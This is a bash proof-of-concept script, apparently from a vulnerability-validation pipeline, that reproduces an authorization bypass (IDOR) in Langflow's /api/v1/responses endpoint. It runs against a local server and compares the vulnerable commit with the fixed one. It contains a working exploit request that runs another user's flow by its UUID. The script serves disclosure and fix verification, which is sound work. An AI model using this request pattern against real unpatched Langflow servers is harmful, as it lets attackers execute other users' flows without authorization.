#!/bin/bash
# CVE-2026-55255 - Langflow IDOR in /api/v1/responses (get_flow_by_id_or_endpoint_name)
#
# An Insecure Direct Object Reference (IDOR) in Langflow's /api/v1/responses
# endpoint allows an authenticated attacker to execute flows belonging to other
# users by supplying the victim's flow UUID as the `model` value.
#
# Root cause: the helper `get_flow_by_id_or_endpoint_name` in
# src/backend/base/langflow/helpers/flow.py (langflow-base 0.9.0, langflow 1.9.0)
# calls `session.get(Flow, flow_id)` on the UUID branch WITHOUT comparing
# flow.user_id to the caller's user_id. /api/v1/responses passes the authenticated
# user's id as the second argument, but the vulnerable UUID branch ignores it, so
# any authenticated user can resolve and execute any other user's flow by UUID.
#
# This script reproduces against a REAL Langflow 1.9.0 server (api_remote,
# production_path) built from source at the vulnerable commit f52d0f0072
# (parent of the fix commit b0afe3d2d6, PR #12832). PyPI never published
# langflow 1.9.0/1.9.1/1.9.2 (the 1.x series starts at 1.9.3 which already
# contains the fix), so the vulnerable stack is built from the repo source.
#
# Proof structure (same DB, same flow, same users across both phases):
#   VULNERABLE (f52d0f0072 flow.py):
#     1. victim creates a flow -> VICTIM_FLOW_ID (victim owns it).
#     2. GET /api/v1/flows/{id} as victim -> 200; as attacker -> 404 (attacker
#        has no legitimate access to the victim flow).
#     3. attacker POST /api/v1/responses {model: VICTIM_FLOW_ID} with the
#        attacker's own x-api-key -> HTTP 200, status "completed", output contains
#        the executed flow result -> the victim's flow was executed by the
#        attacker (IDOR).
#   FIXED (b0afe3d2d6 flow.py, same DB/flow/users):
#     4. attacker POST /api/v1/responses {model: VICTIM_FLOW_ID} with the same
#        attacker x-api-key -> {"error":{"code":"flow_not_found"}} -> blocked.
#
# The ONLY change between phases is helpers/flow.py (the actual fix), proving the
# divergence is due to the missing ownership check.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$REPRO_DIR/artifacts"
DATA="$ROOT/data"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART" "$DATA"
cd "$ROOT"
: > "$LOGS/reproduction_steps.log"

# Fixed commit (PR #12832) and its vulnerable parent.
FIXED_COMMIT="b0afe3d2d6"
VULN_COMMIT="f52d0f0072"   # == FIXED_COMMIT^

LF_PORT=7860
JWT_SECRET="cve2026_55255_idor_secret"
ADMIN_USER="admin"
ADMIN_PASS="AdminPass-CVE-2026-55255!"
VICTIM_USER="victim"
VICTIM_PASS="VictimPass-CVE-2026-55255!"
ATTACKER_USER="attacker"
ATTACKER_PASS="AttackerPass-CVE-2026-55255!"

log(){ echo "[$(date -Is)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

# ----------------------------------------------------------------------------
# Locate the prepared project cache (durable volume) so the venv + source
# checkout persist across runs and we avoid re-cloning / re-installing.
# ----------------------------------------------------------------------------
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r 'if .prepared == true and .project_cache_dir then .project_cache_dir else empty end' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
fi
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR/repo/.git" ]; then
  CACHE_DIR="$ROOT/artifacts/langflow-cache"
  mkdir -p "$CACHE_DIR"
fi
REPO="$CACHE_DIR/repo"
VENV="$CACHE_DIR/venv-idor"
SRC_VULN="$CACHE_DIR/lf-src-vuln"
PY="$VENV/bin/python"
mkdir -p "$CACHE_DIR"

# ----------------------------------------------------------------------------
# write_manifest / write_verdict helpers (strict JSON via python).
# ----------------------------------------------------------------------------
write_manifest(){
  local service_started="$1" health="$2" target="$3" notes="$4" outcome="$5"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$service_started" "$health" "$target" "$notes" "$outcome" <<'PYEOF'
import json, sys
out, ss, hp, tp, notes, outcome = sys.argv[1:7]
m = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/v1/responses with x-api-key header and JSON body {model: victim_flow_uuid, input: ..., stream: false} against running Langflow 1.9.0 server",
  "service_started": ss.lower() == "true",
  "healthcheck_passed": hp.lower() == "true",
  "target_path_reached": tp.lower() == "true",
  "runtime_stack": ["langflow 1.9.0 (langflow-base 0.9.0, commit f52d0f0072)", "sqlite", "uvicorn"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/langflow_server_vuln.log",
    "logs/langflow_server_fixed.log",
    "repro/artifacts/victim_register.json",
    "repro/artifacts/attacker_register.json",
    "repro/artifacts/victim_flow_create.json",
    "repro/artifacts/ownership_victim_get.txt",
    "repro/artifacts/ownership_attacker_get.txt",
    "repro/artifacts/idor_response_vuln.json",
    "repro/artifacts/idor_response_fixed.json",
    "repro/artifacts/summary.json"
  ],
  "notes": notes + " | outcome=" + outcome,
}
open(out, "w", encoding="utf-8").write(json.dumps(m, indent=2))
PYEOF
}
write_verdict(){
  local confirmed="$1" vuln_marker="$2" fix_marker="$3"
  python3 - "$REPRO_DIR/validation_verdict.json" "$confirmed" "$vuln_marker" "$fix_marker" <<'PYEOF'
import json, sys
out, confirmed, vm, fm = sys.argv[1:5]
ok = confirmed.lower() == "true"
v = {
  "claim_outcome": "confirmed" if ok else "not_confirmed",
  "claim_block_reason": None,
  "repro_result": "confirmed" if ok else "not_confirmed",
  "validated_surface": "api_remote",
  "evidence_scope": "production_path",
  "claimed_impact_class": "authz_bypass",
  "observed_impact_class": "authz_bypass" if ok else "none",
  "exploitability_confidence": "high" if ok else "unknown",
  "attacker_controlled_input": "victim flow UUID supplied as the `model` value in POST /api/v1/responses with the attacker's x-api-key",
  "trigger_path": "POST /api/v1/responses -> openai_responses.create_response -> get_flow_by_id_or_endpoint_name(request.model, str(api_key_user.id)) -> UUID branch calls session.get(Flow, flow_id) without checking flow.user_id",
  "end_to_end_target_reached": ok,
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": False,
  "exploit_chain_demonstrated": False,
  "blocking_mitigation": ("fixed flow.py (commit b0afe3d2d6) adds flow.user_id != uuid_user_id -> None ownership check; same request returns flow_not_found" if ok else None),
  "inferred": False,
}
open(out, "w", encoding="utf-8").write(json.dumps(v, indent=2))
PYEOF
}

cleanup(){
  pkill -f "langflow run" 2>/dev/null || true
  pkill -f "$VENV/bin/python -m langflow" 2>/dev/null || true
}
trap cleanup EXIT
cleanup || true

# ----------------------------------------------------------------------------
# 1. Ensure uv + a Python 3.12 (langflow 1.9.0 requires-python >=3.10,<3.14;
#    the sandbox only ships Python 3.14, so install a standalone 3.12 via uv).
# ----------------------------------------------------------------------------
if ! python3 -m uv --version >/dev/null 2>&1; then
  log "Installing uv via pip --user ..."
  python3 -m pip install --quiet --user uv 2>&1 | tee -a "$LOGS/install.log" | tail -3 || true
fi
UV="python3 -m uv"
if ! $UV --version >/dev/null 2>&1; then
  UV="$HOME/.local/bin/uv"
fi
if ! $UV --version >/dev/null 2>&1; then
  log "ERROR: uv is not available"
  write_manifest false false false "uv installation failed" "infrastructure_failed"
  exit 2
fi
log "uv: $($UV --version)"

if ! $UV python find 3.12 >/dev/null 2>&1; then
  log "Installing standalone CPython 3.12 via uv ..."
  $UV python install 3.12 2>&1 | tee -a "$LOGS/install.log" | tail -5
fi

# ----------------------------------------------------------------------------
# 2. Extract the VULNERABLE source (commit f52d0f0072) fresh every run so the
#    editable langflow-base install always starts from the vulnerable flow.py.
# ----------------------------------------------------------------------------
log "Extracting vulnerable source $VULN_COMMIT -> $SRC_VULN"
rm -rf "$SRC_VULN"
mkdir -p "$SRC_VULN"
git -C "$REPO" archive "$VULN_COMMIT" | tar -x -C "$SRC_VULN"
test -f "$SRC_VULN/src/backend/base/langflow/helpers/flow.py" || {
  log "ERROR: vulnerable source extraction failed"
  write_manifest false false false "vulnerable source extraction failed" "infrastructure_failed"
  exit 2
}

# Extract the FIXED flow.py from the fix commit (pristine, never modified).
FIXED_FLOW_PY="$REPRO_DIR/flow_fixed.py"
git -C "$REPO" show "$FIXED_COMMIT:src/backend/base/langflow/helpers/flow.py" > "$FIXED_FLOW_PY"
VULN_FLOW_PY_IN_SRC="$SRC_VULN/src/backend/base/langflow/helpers/flow.py"

# ----------------------------------------------------------------------------
# 3. Create/reuse the venv and install the VULNERABLE stack from source.
# ----------------------------------------------------------------------------
NEED_INSTALL=0
if [ ! -x "$PY" ]; then NEED_INSTALL=1; fi
if [ "$NEED_INSTALL" -eq 0 ]; then
  if ! "$PY" -c "import langflow" >/dev/null 2>&1; then NEED_INSTALL=1; fi
fi

if [ "$NEED_INSTALL" -eq 1 ]; then
  log "Creating venv at $VENV (Python 3.12) ..."
  $UV venv --python 3.12 "$VENV" 2>&1 | tee -a "$LOGS/install.log" | tail -5
  log "Installing langflow-base[complete] (vulnerable, from source) ..."
  $UV pip install --python "$PY" -e "$SRC_VULN/src/backend/base[complete]" 2>&1 \
    | tee -a "$LOGS/install.log" | tail -20
  log "Installing langflow 1.9.0 top-level (from source) ..."
  $UV pip install --python "$PY" -e "$SRC_VULN" 2>&1 | tee -a "$LOGS/install.log" | tail -10
fi

LF_VER=$("$PY" -c "import importlib.metadata as m; print('langflow',m.version('langflow'),'langflow-base',m.version('langflow-base'))" 2>/dev/null || echo unknown)
log "installed: $LF_VER"

# Resolve the on-disk flow.py that the running interpreter imports.
INSTALLED_FLOW_PY=$("$PY" -c "import langflow.helpers.flow as m; print(m.__file__)" 2>/dev/null || echo "")
if [ -z "$INSTALLED_FLOW_PY" ] || [ ! -f "$INSTALLED_FLOW_PY" ]; then
  log "ERROR: could not locate installed langflow/helpers/flow.py"
  write_manifest false false false "flow.py not found in install" "infrastructure_failed"
  exit 2
fi
log "installed flow.py: $INSTALLED_FLOW_PY"

# Ensure the vulnerable flow.py is in place (in case a prior run left the fixed one).
if [ "$VULN_FLOW_PY_IN_SRC" != "$INSTALLED_FLOW_PY" ]; then
  cp "$VULN_FLOW_PY_IN_SRC" "$INSTALLED_FLOW_PY"
fi
VULN_MARKER=$("$PY" - <<'PY' 2>/dev/null || echo unknown
import langflow.helpers.flow as f, inspect
s = inspect.getsource(f.get_flow_by_id_or_endpoint_name)
print("VULN" if "flow.user_id != uuid_user_id" not in s else "FIXED")
PY
)
log "flow.py ownership-check marker (expect VULN for phase 1): $VULN_MARKER"

# Extract the SimpleAPITest flow (ChatInput + TextInput + ChatOutput, no LLM).
FLOW_TEMPLATE="$REPRO_DIR/SimpleAPITest.json"
git -C "$REPO" show "$VULN_COMMIT:src/backend/tests/data/SimpleAPITest.json" > "$FLOW_TEMPLATE"

# ----------------------------------------------------------------------------
# 4. Start the VULNERABLE Langflow server in multi-user mode (fresh SQLite DB).
# ----------------------------------------------------------------------------
LF_DB_PATH="$DATA/langflow.db"
LF_DB="sqlite:///$LF_DB_PATH"
rm -f "$LF_DB_PATH" "$LF_DB_PATH-wal" "$LF_DB_PATH-shm"
rm -f "$DATA/secret_key"

export LANGFLOW_AUTO_LOGIN=false LANGFLOW_SKIP_AUTH_AUTO_LOGIN=false
export LANGFLOW_ENABLE_SIGNUP=true LANGFLOW_NEW_USER_IS_ACTIVE=true
export LANGFLOW_SUPERUSER="$ADMIN_USER" LANGFLOW_SUPERUSER_PASSWORD="$ADMIN_PASS"
export LANGFLOW_SECRET_KEY="$JWT_SECRET"
export LANGFLOW_DATABASE_URL="$LF_DB"
export LANGFLOW_CONFIG_DIR="$DATA" LANGFLOW_SAVE_DB_IN_CONFIG_DIR=true
export LANGFLOW_BACKEND_ONLY=true LANGFLOW_TELEMETRY_ENABLED=false
export LANGFLOW_HOST=127.0.0.1 LANGFLOW_PORT="$LF_PORT"

start_server(){
  local logfile="$1"
  local phase="$2"
  log "Starting Langflow server ($phase) on 127.0.0.1:$LF_PORT ..."
  "$PY" -m langflow run --host 127.0.0.1 --port "$LF_PORT" --backend-only --workers 1 > "$logfile" 2>&1 &
  LF_PID=$!
  log "langflow server pid=$LF_PID (phase=$phase)"
  local up=false
  for i in $(seq 1 120); do
    if curl -s --max-time 3 "http://127.0.0.1:$LF_PORT/api/v1/config" 2>/dev/null | grep -qE 'feature_flags|auto_login|access_token|frontend_timeout'; then
      up=true; break
    fi
    if ! kill -0 "$LF_PID" 2>/dev/null; then log "ERROR: langflow server ($phase) died"; break; fi
    sleep 1
  done
  if [ "$up" != true ]; then
    log "ERROR: Langflow server ($phase) did not become healthy"
    tail -80 "$logfile" | tee -a "$LOGS/reproduction_steps.log"
    return 1
  fi
  log "Langflow server ($phase) is up (health OK)"
  return 0
}

BASE="http://127.0.0.1:$LF_PORT"

if ! start_server "$LOGS/langflow_server_vuln.log" "vulnerable"; then
  write_manifest true false false "vulnerable server failed health check" "infrastructure_failed"
  exit 2
fi

# ----------------------------------------------------------------------------
# 5. Register victim + attacker through the real public signup endpoint.
# ----------------------------------------------------------------------------
log "Registering victim user via POST /api/v1/users/ ..."
curl -s --max-time 30 -X POST "$BASE/api/v1/users/" -H 'Content-Type: application/json' \
  -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$VICTIM_PASS\"}" > "$ART/victim_register.json" || true
log "victim register: $(head -c 200 "$ART/victim_register.json")"

log "Registering attacker user via POST /api/v1/users/ ..."
curl -s --max-time 30 -X POST "$BASE/api/v1/users/" -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$ATTACKER_PASS\"}" > "$ART/attacker_register.json" || true
log "attacker register: $(head -c 200 "$ART/attacker_register.json")"

if ! grep -q '"is_superuser":false' "$ART/victim_register.json" || ! grep -q '"is_superuser":false' "$ART/attacker_register.json"; then
  log "ERROR: user registration did not create active non-superusers"
  write_manifest true true false "user registration failed" "infrastructure_failed"
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi

# ----------------------------------------------------------------------------
# 6. Login both users and create API keys.
# ----------------------------------------------------------------------------
VTOK=$(curl -s --max-time 20 -X POST "$BASE/api/v1/login" -d "username=$VICTIM_USER&password=$VICTIM_PASS" \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("access_token",""))' 2>/dev/null || echo "")
ATOK=$(curl -s --max-time 20 -X POST "$BASE/api/v1/login" -d "username=$ATTACKER_USER&password=$ATTACKER_PASS" \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("access_token",""))' 2>/dev/null || echo "")
if [ -z "$VTOK" ] || [ -z "$ATOK" ]; then
  log "ERROR: login failed (victim token len=${#VTOK}, attacker token len=${#ATOK})"
  write_manifest true true false "login failed" "infrastructure_failed"
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi
log "logins OK (victim token len=${#VTOK}, attacker token len=${#ATOK})"

VKEY=$(curl -s --max-time 20 -X POST "$BASE/api/v1/api_key/" -H "Authorization: Bearer $VTOK" \
  -H 'Content-Type: application/json' -d '{"name":"victim-key"}' \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("api_key",""))' 2>/dev/null || echo "")
AKEY=$(curl -s --max-time 20 -X POST "$BASE/api/v1/api_key/" -H "Authorization: Bearer $ATOK" \
  -H 'Content-Type: application/json' -d '{"name":"attacker-key"}' \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("api_key",""))' 2>/dev/null || echo "")
if [ -z "$VKEY" ] || [ -z "$AKEY" ]; then
  log "ERROR: API key creation failed (victim=${VKEY:0:8}, attacker=${AKEY:0:8})"
  write_manifest true true false "api key creation failed" "infrastructure_failed"
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi
log "API keys created (victim=${VKEY:0:10}..., attacker=${AKEY:0:10}...)"

# ----------------------------------------------------------------------------
# 7. Victim creates a flow (ChatInput->ChatOutput echo, no LLM). Capture FID.
# ----------------------------------------------------------------------------
"$PY" - "$FLOW_TEMPLATE" > "$ART/flow_payload.json" <<'PY'
import json, sys
d = json.load(open(sys.argv[1]))
d.pop("id", None)
d.pop("user_id", None)
d.pop("endpoint_name", None)
d["name"] = "VictimSecretFlow_CVE_2026_55255"
print(json.dumps(d))
PY

FLOW_RESP=$(curl -s --max-time 30 -X POST "$BASE/api/v1/flows/" -H "Authorization: Bearer $VTOK" \
  -H 'Content-Type: application/json' -d @"$ART/flow_payload.json")
echo "$FLOW_RESP" > "$ART/victim_flow_create.json"
FID=$(echo "$FLOW_RESP" | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("id",""))' 2>/dev/null || echo "")
if [ -z "$FID" ]; then
  log "ERROR: victim flow creation failed: $(head -c 300 "$ART/victim_flow_create.json")"
  write_manifest true true false "flow creation failed" "infrastructure_failed"
  kill "$LF_PID" 2>/dev/null || true
  exit 2
fi
log "Victim flow created: VICTIM_FLOW_ID=$FID"

# ----------------------------------------------------------------------------
# 8. Ownership proof: GET /api/v1/flows/{FID} as victim (200) vs attacker (404).
# ----------------------------------------------------------------------------
VGET=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 "$BASE/api/v1/flows/$FID" -H "Authorization: Bearer $VTOK")
AGET=$(curl -s -o /dev/null -w '%{http_code}' --max-time 15 "$BASE/api/v1/flows/$FID" -H "Authorization: Bearer $ATOK")
echo "victim GET /flows/$FID -> $VGET" > "$ART/ownership_victim_get.txt"
echo "attacker GET /flows/$FID -> $AGET" > "$ART/ownership_attacker_get.txt"
log "Ownership proof: victim GET -> $VGET (expect 200), attacker GET -> $AGET (expect 404)"

# ----------------------------------------------------------------------------
# 9. IDOR (VULNERABLE): attacker runs the VICTIM's flow by UUID as `model`.
# ----------------------------------------------------------------------------
PROBE="IDOR_PROBE_VULN_$(date +%s)"
IDOR_VULN=$(curl -s --max-time 60 -X POST "$BASE/api/v1/responses" \
  -H "x-api-key: $AKEY" -H 'Content-Type: application/json' \
  -d "{\"model\":\"$FID\",\"input\":\"$PROBE\",\"stream\":false}")
echo "$IDOR_VULN" > "$ART/idor_response_vuln.json"
log "VULNERABLE /api/v1/responses (attacker x-api-key, model=victim flow): $(head -c 300 "$ART/idor_response_vuln.json")"

# Stop the vulnerable server before swapping the helper.
kill "$LF_PID" 2>/dev/null || true
sleep 2

# ----------------------------------------------------------------------------
# 10. Swap in the FIXED flow.py (commit b0afe3d2d6) and restart on the SAME DB.
# ----------------------------------------------------------------------------
cp "$FIXED_FLOW_PY" "$INSTALLED_FLOW_PY"
FIX_MARKER=$("$PY" - <<'PY' 2>/dev/null || echo unknown
import langflow.helpers.flow as f, inspect
s = inspect.getsource(f.get_flow_by_id_or_endpoint_name)
print("FIXED" if "flow.user_id != uuid_user_id" in s else "VULN")
PY
)
log "flow.py ownership-check marker (expect FIXED for phase 2): $FIX_MARKER"

if ! start_server "$LOGS/langflow_server_fixed.log" "fixed"; then
  write_manifest true true true "fixed server failed health check (vuln phase already succeeded)" "partial"
  exit 2
fi

# The attacker user + victim flow persist in the SQLite DB. Re-login the
# attacker and mint a fresh API key (plaintext keys are not recoverable).
ATOK2=$(curl -s --max-time 20 -X POST "$BASE/api/v1/login" -d "username=$ATTACKER_USER&password=$ATTACKER_PASS" \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("access_token",""))' 2>/dev/null || echo "")
AKEY2=$(curl -s --max-time 20 -X POST "$BASE/api/v1/api_key/" -H "Authorization: Bearer $ATOK2" \
  -H 'Content-Type: application/json' -d '{"name":"attacker-key-fixed"}' \
  | "$PY" -c 'import json,sys;print(json.load(sys.stdin).get("api_key",""))' 2>/dev/null || echo "")
log "fixed-phase attacker key=${AKEY2:0:10}..."

IDOR_FIXED=$(curl -s --max-time 60 -X POST "$BASE/api/v1/responses" \
  -H "x-api-key: $AKEY2" -H 'Content-Type: application/json' \
  -d "{\"model\":\"$FID\",\"input\":\"IDOR_PROBE_FIXED\",\"stream\":false}")
echo "$IDOR_FIXED" > "$ART/idor_response_fixed.json"
log "FIXED /api/v1/responses (attacker x-api-key, model=victim flow): $(head -c 300 "$ART/idor_response_fixed.json")"

kill "$LF_PID" 2>/dev/null || true

# ----------------------------------------------------------------------------
# 11. Classify the two responses.
# ----------------------------------------------------------------------------
"$PY" - "$ART/idor_response_vuln.json" "$ART/idor_response_fixed.json" "$ART/summary.json" "$PROBE" "$FID" "$VGET" "$AGET" <<'PY'
import json, sys
vuln_path, fixed_path, out, probe, fid, vget, aget = sys.argv[1:8]
def load(p):
    try:
        return json.load(open(p)), None
    except Exception as e:
        return None, str(e)
v, verr = load(vuln_path)
f, ferr = load(fixed_path)

vuln_executed = False
vuln_completed = False
vuln_probe_in_output = False
if isinstance(v, dict):
    vuln_completed = (v.get("status") == "completed" and v.get("object") == "response")
    flow_output = v.get("output") or []
    txt = json.dumps(flow_output)
    vuln_probe_in_output = (probe in txt)
    vuln_executed = vuln_completed and vuln_probe_in_output
    vuln_has_flow_not_found = bool(v.get("error") and v["error"].get("code") == "flow_not_found")
else:
    vuln_has_flow_not_found = None

fixed_blocked = False
if isinstance(f, dict):
    err = f.get("error")
    fixed_blocked = bool(err and err.get("code") == "flow_not_found" and "not found" in str(err.get("message","")).lower())
else:
    fixed_blocked = False

summary = {
    "victim_flow_id": fid,
    "ownership_victim_get": vget,
    "ownership_attacker_get": aget,
    "vuln_response_completed": vuln_completed,
    "vuln_probe_in_output": vuln_probe_in_output,
    "vuln_flow_executed_by_attacker": vuln_executed,
    "vuln_flow_not_found": vuln_has_flow_not_found,
    "vuln_parse_error": verr,
    "fixed_flow_not_found": fixed_blocked,
    "fixed_parse_error": ferr,
    "idor_confirmed": bool(vuln_executed and fixed_blocked),
}
open(out, "w", encoding="utf-8").write(json.dumps(summary, indent=2))
print(json.dumps(summary, indent=2))
PY

IDOR_CONFIRMED=$("$PY" - "$ART/summary.json" <<'PYCONF' 2>/dev/null || echo False
import json, sys
print(json.load(open(sys.argv[1]))["idor_confirmed"])
PYCONF
)
log "SUMMARY: $(cat "$ART/summary.json")"
log "IDOR_CONFIRMED=$IDOR_CONFIRMED"

# ----------------------------------------------------------------------------
# 12. Runtime manifest + verdict.
# ----------------------------------------------------------------------------
if [ "$IDOR_CONFIRMED" = "True" ]; then
  OUTCOME="confirmed"
  write_manifest true true true "VULNERABLE: attacker executed victim flow by UUID (status completed, probe in output). FIXED: same call returns flow_not_found." "$OUTCOME"
  write_verdict "$IDOR_CONFIRMED" "$VULN_MARKER" "$FIX_MARKER"
else
  OUTCOME="not_confirmed"
  write_manifest true true true "vulnerable=$VULN_MARKER fixed=$FIX_MARKER idor_confirmed=$IDOR_CONFIRMED" "$OUTCOME"
  write_verdict "$IDOR_CONFIRMED" "$VULN_MARKER" "$FIX_MARKER"
fi

# Best-effort: copy current-run proof into the durable project cache proof-carry slot.
if [ -d "$CACHE_DIR/.pruva/proof-carry/latest_attempt" ]; then
  mkdir -p "$CACHE_DIR/.pruva/proof-carry/latest_attempt/repro" "$CACHE_DIR/.pruva/proof-carry/latest_attempt/logs"
  cp "$REPRO_DIR/reproduction_steps.sh" "$CACHE_DIR/.pruva/proof-carry/latest_attempt/repro/" 2>/dev/null || true
  cp "$REPRO_DIR/runtime_manifest.json" "$CACHE_DIR/.pruva/proof-carry/latest_attempt/repro/" 2>/dev/null || true
  cp "$LOGS/reproduction_steps.log" "$CACHE_DIR/.pruva/proof-carry/latest_attempt/logs/" 2>/dev/null || true
  cp "$ART/summary.json" "$CACHE_DIR/.pruva/proof-carry/latest_attempt/logs/" 2>/dev/null || true
fi

log "DONE: outcome=$OUTCOME"
if [ "$IDOR_CONFIRMED" = "True" ]; then
  exit 0
else
  exit 1
fi
